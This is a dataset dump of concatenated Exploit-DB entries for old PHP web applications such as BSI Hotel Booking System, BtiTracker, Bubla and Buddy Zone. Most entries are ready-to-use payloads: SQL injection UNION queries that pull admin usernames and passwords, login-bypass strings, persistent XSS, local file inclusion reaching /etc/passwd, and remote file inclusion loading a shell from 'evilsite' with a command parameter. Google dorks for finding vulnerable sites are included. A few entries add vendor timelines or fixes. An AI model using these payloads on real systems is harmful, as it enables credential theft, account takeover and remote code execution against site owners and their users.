deardaniel/secdata-raw huggingface dataset:
Exploit-DB #14223
Description: Bs Scripts_Directory - SQL Injection / Authentication Bypass
Type: webapps
Platform: php
Date: 2010-07-05
Author: Sid3^effects

Exploit:
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name : Bs Scripts_Directory Sqli/Auth Bypass Vulnerability
Date : july 5,2010
Critical Level 	: HIGH
vendor URL :http://www.brotherscripts.com/
Price:$24.95
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Description : 
BS Scripts Directory software allows users to browse and search for scripts. The listings are fully detailed with photos, features, descriptions, ratings, reviews, and seller's information.

Members can also post their scripts in the categories added by administrator. After the registration user is able to select and buy a advertising package depending on the length of time he/she would like their listings to be displayed on the website. Payment can be made through PayPal or 2Checkout. The user will be informed automatically about his statistics - 10 days before the expiration of his account , 5 days, 1 day. 24 hours after his account expiration date, all his listings and his account will be deleted automatically from the system. 
#######################################################################################################
Xploit :SQli Vulnerability

DEMO URL :http://server/Scripts_Directory/search.php?s=[sqli]

###############################################################################################################
Xploit: Auth Bypass

use  ' or 1=1 or ''='  in both username and password :D 
###############################################################################################################
# 0day no more 
# Sid3^effects
Exploit-DB #15531
Description: BSI Advance Hotel Booking System 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2010-11-14
Author: v3n0m

Exploit:
-----------------------------------------------------------------------
PHP BSI Advance Hotel Booking System v1.0 SQL Injection Vulnerability
-----------------------------------------------------------------------
Author  	: v3n0m
Site    	: http://yogyacarderlink.web.id/
Date		: November, 14-2010
Location	: Jakarta, Indonesia
Time Zone	: GMT +7:00
Application	: PHP BSI Advance Hotel Booking System
Version		: 1.0
Vendor  	: http://www.bestsoftinc.com/

Exploit & p0c
_____________

-9999+union+all+select+1,group_concat(username,char(58),pass),3,4,5,6,7,8,9,10,11,12,13,14,15+from+bsi_adhsdgsvfe--

http://127.0.0.1/[path]/index1.php?page=[SQLi]
http://127.0.0.1/[path]/index1.php?page=-9999+union+all+select+1,group_concat(username,char(58),pass),3,4,5,6,7,8,9,10,11,12,13,14,15+from+bsi_adhsdgsvfe--

ShoutZ
______

All YOGYACARDERLINK CREW, GheMaX, LeQhi
Also Jovita & Fabian :)
Exploit-DB #47219
Description: BSI Advance Hotel Booking System 2.0 - 'booking_details.php Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-08-12
Author: Angelo Ruwantha

Exploit:
# Exploit Title:BSI Advance Hotel Booking System Persistent XSS
# Google Dork: intext:Hotel Booking System v2.0 © 2008 - 2012 Copyright Best Soft Inc
# Date: Wed Jun 4 2014
# Exploit Author: Angelo Ruwantha
# Vendor Homepage: http://www.bestsoftinc.com
# Software Link: http://www.bestsoftinc.com/php-advance-hotel-booking-system.html
# Version: V2.0
# Tested on: archlinux
# CVE : CVE-2014-4035

Vulnerability
========================

[+]Method:POST

1.http://URL/hotel-booking/booking_details.php (;persistent XSS)

allowlang=&title=<IMG SRC="javascript:alert('HelloWorld ;)');"&fname=&lname=&str_addr=&city=&state=&zipcode=&country=&phone=&fax=&email=&payment_type=&message=&tos=


every parameter injectable :)
Exploit-DB #15082
Description: BSI Hotel Booking System Admin 1.4/2.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-09-22
Author: K-159

Exploit:
-----------------------------------------------------------------------------------------
[ECHO_ADV_113$2010] BSI Hotel Booking System Admin Login Bypass Vulnerability
-----------------------------------------------------------------------------------------

Author        : K-159
Date          : September, 22th 2010
Location      : Jakarta, Indonesia
Web           : http://e-rdc.org/v1/news.php?readmore=165
Critical Lvl  : Moderate
Impact        : Exposure of sensitive information
Where         : From Remote

---------------------------------------------------------------------------

Affected application description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : BSI Hotel Booking System
URL         : http://www.bestsoftinc.com/
Version     : BSI Hotel Booking System 1.4 & BSI Advance Hotel Booking System 2.0
Description :

BSI Hotel Booking System is a real time online hotel booking. BSI Hotel booking script is single hotel version.
You can add unlimited room, room type & yearly booking schedule.
--------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~
A vulnerability has been identified in "BSI Hotel Booking System", which could be exploited by attackers to bypass security restrictions into admin panel.
The vulnerability is caused due to an error within the authentication process in admin panel login page, 
which could be exploited by a malicious attackers and login into "BSI Hotel Booking System" as an admin.
Successful exploitations allows attacker to access into administrative functions without requiring knowledge of the password.
An attackers while login as admin, may expose any sensitive information about the customers like : customer name, address, email, payment methods & details,etc.

Poc/Exploit:
~~~~~~~~~
http://www.example.com/[path]/admin

username : 'or''='
password : 'or''='

Solution:
~~~~~~~
Edit the source code to ensure that input is properly sanitized

Timeline:
~~~~~~~~~

- 26 - 05 - 2010 bug found
- 16 - 09 - 2010 vendor contacted and response
- 22 - 09 - 2010 advisory release
---------------------------------------------------------------------------

Shoutz:
~~~~~
"Happy Anniversary 7th ECHO"
---------------------------------------------------------------------------
Contact:
~~~~~~

K-159 || echo|staff || adv[at]e-rdc[dot]org
Homepage: http://www.e-rdc.org/

-------------------------------- [ EOF ] ----------------------------------
Exploit-DB #30390
Description: BSM Store Dependent Forums 1.02 - 'Username' SQL Injection
Type: webapps
Platform: php
Date: 2007-07-26
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/25072/info

BSM Store Dependent Forums is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Dependent Forums 1.02 is vulnerable; other versions may also be affected. 

' union select * from members where member=1
Exploit-DB #8751
Description: bSpeak 1.10 - 'forumid' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-05-20
Author: snakespc

Exploit:
#-------------------------AllaH AkbaR-------------------------------
#forum bspeak v1.10  Blind SQL Injection Exploit
#-------------------------------------------------------------------
#Discovered By: Snakespc     ALGERIAN HaCkEr 
#Mail: snakespc@gmail.com
#Site:http://www.snakespc.com/sc/index.php
#Chi3arona houa :  Serra7 merra7 , koulchi mderra7>>>>
#            Aflawa Kamikaz Wa4rin Fi kol Bla4s 
#-------------------------SNAKES TEAM-------------------------------
#
#Script:forum (bspeak v1.10) www.26thavenue.com/index.php
#
#Demo:http://www.26thavenue.com//bspeakdemo/
#
#Dork:"Powered by bSpeak 1.10"
#--------------------------SNAKES TEAM------------------------------
#Exploit:
#--------
#Demo:
#http://www.26thavenue.com/bspeakdemo/forum/index.php?action=post&forumid=3'
#http://www.26thavenue.com/bspeakdemo/forum/index.php?action=post&forumid=3+AND%20SUBSTRING(@@version,1,1)=4 oui :)
#http://www.26thavenue.com/bspeakdemo/forum/index.php?action=post&forumid=3+AND%20SUBSTRING(@@version,1,1)=5 no  :)
#
#-------------------------SNAKES TEAM-------------------------------
#Mr.HCOCA_MAN:::DrEaDFuL:::yassine_enp:::His0k4:::sunhouse2:::aSSaSSin_HaCkErS:::THE INJECTOR:::ALMADJHOOL:::Th3 g0bL!N::: Dr-HTmL
#--------------------------SNAKES TEAM------------------------------
#ALL www.SnakespC.com/sc>>>> (  Members )  >>>>Str0ke >>>>>>>Milw0rm

# milw0rm.com [2009-05-20]
Exploit-DB #18063
Description: BST (BestShopPro) - 'nowosci.php' Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-11-02
Author: CoBRa_21

Exploit:
################################################################################################
#  Exploit Title: BST - BestShopPro (nowosci.php) Multiple Vulnerabilities
#
#  Author : CoBRa_21 
#
#  E-Mail : uyku_cu [at] windowslive.com
#
#  Google Dork : "Powered By BST"
#
#  Script Page : http://www.bst.pl
################################################################################################
#
#  XSS:
#
#  http://127.0.0.1/nowosci.php?a=1&str=<script>alert(/CoBRa_21/)</script>
#
#  HTML:
#
#  http://127.0.0.1/nowosci.php?a=1&str=<font color=red size=15>CoBRa_21</font>
#
#  SQL :
#
#  http://127.0.0.1/pokaz_podkat.php?idkat=10&order1=1&str=' (SQL)
#
################################################################################################
Exploit-DB #3624
Description: BT-sondage 1.12 - 'gestion_sondage.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-01
Author: Crackers_Child

Exploit:
--------------------------------------------------------------------------------


Title : BT-Sondage-v112 Remote File Include Vulnerability

--------------------------------------------------------------------------------

#Author: Crackers_Child


#cont@ct: localexploit@hotmail.com

--------------------------------------------------------------------------------

Affected software description :
--------------------------------------------------------------------------------

Application :  BT-Sondage
URL :  http://www.phpscripts-fr.net/scripts/download.php?id=1575

--------------------------------------------------------------------------------


dork        : Download Script :)
Exploit     :

--------------------------------------------------------------------------------

Vulnerable Codes .n gestion_sondage.php


include($repertoire_visiteur.'utilitaires/affichage_formulaire.php');

For Patch .t add

if ( !defined( "_GESTION_SONDAGE_PHP" ) )
{

--------------------------------------------------------------------------------


Usage:

http://[target]/[sondage_path]/utilitaires/gestion_sondage.php?repertoire_visiteur=Shell.txt?&cmd=ls


--------------------------------------------------------------------------------

greets: EveryBody :=)

--------------------------------------------------------------------------------

Note : Melek Bir Yandan .eytan Bir Yandan Bas.m Zindan Yardim Et Allah'.m Yardim :(

--------------------------------------------------------------------------------

# milw0rm.com [2007-04-01]
Exploit-DB #26784
Description: BTGrup Admin WebController - SQL Injection
Type: webapps
Platform: php
Date: 2005-12-12
Author: khc@bsdmail.org

Exploit:
source: https://www.securityfocus.com/bid/15819/info

BTGrup Admin WebController is prone to an SQL injection vulnerability. This is due to a lack of proper sanitization of user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

The following proof of concept is available:
Username : 'or''='
Password : 'or''='
Exploit-DB #3970
Description: BtiTracker 1.4.1 - Become Admin SQL Injection
Type: webapps
Platform: php
Date: 2007-05-22
Author: m@ge|ozz

Exploit:
#################################################################################
#										
#	BtiTracker <=v1.4.1 Remote SQL Injection Exploit	              
#									
# Discovered by: m@ge|ozz - babbano@gmail.com					
# Vulnerabitity: Remote Sql Injection /	                                        
# Problem: Any user can be Administrator					
# Website Vendor: http://www.btiteam.org					
# 										
# Vulnerable Code (account_change.php):						
#										
# if (isset($_GET["style"]))       						
# @mysql_query("UPDATE users SET style=$style WHERE id=".$CURUSER["uid"]);      
# 										
# if (isset($_GET["langue"])) 							
# @mysql_query("UPDATE users SET language=$langue WHERE id=".$CURUSER["uid"]);		
#										
# PoC: account_change.php?style=2[SQL]&returnto=%2F				
#      										
# Example to gain admin control: account_change.php?style=1,id_level=8								
#										
# 										
# GoogleDork: "by Btiteam"							
#										
# Shoutz: - eVolVe or Die - 							
#										
#################################################################################

# milw0rm.com [2007-05-22]
Exploit-DB #6296
Description: BtiTracker 1.4.7 / xbtit 2.0.542 - SQL Injection
Type: webapps
Platform: php
Date: 2008-08-25
Author: InATeam

Exploit:
## BtiTracker/xBtiTracker Remote SQL Injection Vulnerability
## Author: InATeam (http://inattack.ru/)
## Affected versions: BtiTracker <= 1.4.7, xBtiTracker <= 2.0.542
## Software site: http://www.btiteam.org/
##
## ==============================================================================
## Exploit:
## ==============================================================================
## http://site/scrape.php?info_hash=1%27)
## +UNION+SELECT+0,CONCAT(0x3C623E,username,0x3a,password,0x3C2F623E3C62723E),0,0
## +FROM+users+WHERE+id_level=8/*
## ==============================================================================
## for xBtiTracker we need to specify prefix:
## ==============================================================================
## http://site/scrape.php?info_hash=1%27)
## +UNION+SELECT+0,CONCAT(0x3C623E,username,0x3a,password,0x3C2F623E3C62723E),0,0
## +FROM+xbtit_users+WHERE+id_level=8/*
## ==============================================================================

# milw0rm.com [2008-08-25]
Exploit-DB #5001
Description: bubbling library 1.32 - 'uri' Remote File Disclosure
Type: webapps
Platform: php
Date: 2008-01-28
Author: Stack

Exploit:
## bubbling library v1.32 Remote File Disclosure Vulnerabilities
## Download script : http://sourceforge.net/project/showfiles.php?group_id=192730
## Author : Stack-Terrorist [v40]
## Email : v.4@hotmail.fr

## Home : http://www.v4-team.com

## exploit :

http://localhost/ [script] /examples/dispatcher/framework/dispatcher.php?uri=../../file

http://localhost/ [script] /examples/dispatcher/dispatcher.php?uri=../../file
http://localhost/ [script] /examples/wizard/dispatcher.php?uri=../../file
http://localhost/ [script] /PHP/dispatcher.php?uri=../../file

Greetz :  H-T Team , v4 Team  , Tryag , no-hack all my friend 
Special tnx for : Houssamix
thx for: Proamk  - djekmani - Jadi - Bohayra - MR.safa7 -Hack3r-b0y - str0ke 

# milw0rm.com [2008-01-28]
Exploit-DB #4991
Description: Bubbling Library 1.32 - Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2008-01-26
Author: Stack

Exploit:
## bubbling library v1.32   multiple Local File Inclusion Vulnerabilities  
## Download scrip : http://sourceforge.net/project/showfiles.php?group_id=192730
## Author : Stack-Terrorist [v40]
## Email : v.4@hotmail.fr

## Home : http://www.v4-team.com
## for execute exploit does not write extention of file
## Other files:    =../../../../etc/passwd%00 
## exploit :
#  
# examples/dispatcher/framework/simple.php?page=[local file]&tpl=ajax
http://localhost/ [script] /examples/dispatcher/framework/simple.php?page=../[name of file wthout php]
http://localhost/ [script] /examples/dispatcher/framework/yui-menu.php?page=../[name of file wthout php]
http://localhost/ [script] /examples/dispatcher/framework/advanced.tpl.php?uri=../[name of file wthout php]
# examples/dispatcher/framework/simple.php?page=/home/user/shell
http://localhost/ [script] /examples/dispatcher/framework/yui-menu.tpl.php?uri=../[name of file wthout php]
http://localhost/ [script] /examples/dispatcher/framework/simple.tpl.php?uri=../[name of file wthout php]
http://localhost/ [script] /examples/dispatcher/framework/advanced.php?page=../[name of file wthout php]

Greetz :  H-T Team , v4 Team  , Tryag , no-hack all my friend  
Special tnx for : Houssamix
thx for: Proamk  - djekmani - Jadi - Bohayra - MR.safa7 -Hack3r-b0y - str0ke  

# milw0rm.com [2008-01-26]
Exploit-DB #3059
Description: Bubla 0.9.2 - 'bu_dir' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-12-31
Author: DeltahackingTEAM

Exploit:
**********************************************************************************************************
                                              DeltasecurityTEAM
                                              WwW.Deltasecurity.iR
**********************************************************************************************************

* Portal Name = Bubla 0.9.1

* Class = Remote File Inclusion

* Risk = High (Remote File Execution)

* Download = http://download.sourceforge.net/pub/sourceforge/b/bu/bubla/bubla-0.9.1.tar.gz

* Discoverd By = DeltahackingTEAM

* User In Delta Team = Davood_Cracker

* Conatact = Davood_cracker@yahoo.com

* 128 Bit Security Server= www.takserver.ir

* Just Delta Hacking Security TEAM *
--------------------------------------------------------------------------------------------

- Exploit:


http://localhost/[PATH]/bu/bu_claro.php?bu_dir=http://evilsite/Shell.php?
http://localhost/[PATH]/bu/bu_cache.php?bu_dir=http://evilsite/Shell.php?
http://localhost/[PATH]/bu/bu_parse.php?bu_dir=http://evilsite/Shell.php?
--------------------------------------------------------------------------------------------

Gr33tz : Dr.Trojan , Hiv++ , D_7j , Vpc

SP TNX : Dr.Pantagon

**********************************************************************************************************

# milw0rm.com [2006-12-31]
Exploit-DB #3026
Description: Bubla 1.0.0rc2 - '/bu/process.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-27
Author: DeltahackingTEAM

Exploit:
**********************************************************************************************************
                                              DeltasecurityTEAM
                                              WwW.Deltasecurity.iR
**********************************************************************************************************

* Portal Name = Bubla <= 1.0.0rc2

* Class = Remote File Inclusion

* Risk = High (Remote File Execution)

* Download = http://download.sourceforge.net/pub/sourceforge/b/bu/bubla/bubla-1.0.0rc1.tar.gz

* Discoverd By = DeltahackingTEAM

* User In Delta Team = Davood_Cracker

* Conatact = Davood_cracker@yahoo.com

* 128 Bit Security Server= www.takserver.ir

* Just Delta Hacking Security TEAM *
--------------------------------------------------------------------------------------------
Vulnerable code in process.php

require_once($bu_dir."/bu_l2.php");

--------------------------------------------------------------------------------------------

- Exploit:

1.0.0 RC1 http://localhost/[PATH]/bu/process.php?bu_dir=http://evilsite/Shell.php?
1.0.0 RC2 http://localhost/[PATH]/bu/process.php?bu_config[dir]=http://evilsite/Shell.php?

--------------------------------------------------------------------------------------------

Gr33tz : Dr.Trojan , Hiv++ , D_7j , Vpc

SP TNX : Dr.Pantagon

**********************************************************************************************************

# milw0rm.com [2006-12-27]
Exploit-DB #4127
Description: Buddy Zone 1.5 - 'view_sub_cat.php?cat_id' SQL Injection
Type: webapps
Platform: php
Date: 2007-06-29
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+             Buddy Zone Version 1.5 SQL Injection Vulnerability                 +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: http://www.vastal.com/buddy-zone-social-networking-script.html
DORK: allintext:"Powered By Buddy Zone"


DESCRIPTION: 
Remote sql injection in view_sub_cat.php cat_id, able to pull username/passwords of their admin and user accounts.


EXPLOITS:
http://www.site.com/view_sub_cat.php?cat_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(0x3C2F74643E,admin_user,0x3a,admin_password,0x3C62723E),4/**/FROM/**/admin_users/*
http://www.site.com/view_sub_cat.php?cat_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(0x3C2F74643E,member_email,0x3a,member_password,0x3C62723E),4/**/FROM/**/members/*


Tip/Note:
The Administrator's Panel is in /admin/.

GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net, and the ASFC/FM4 peeps !


--==+================================================================================+==--
--==+             Buddy Zone Version 1.5 SQL Injection Vulnerability                 +==--
--==+================================================================================+==--

# milw0rm.com [2007-06-29]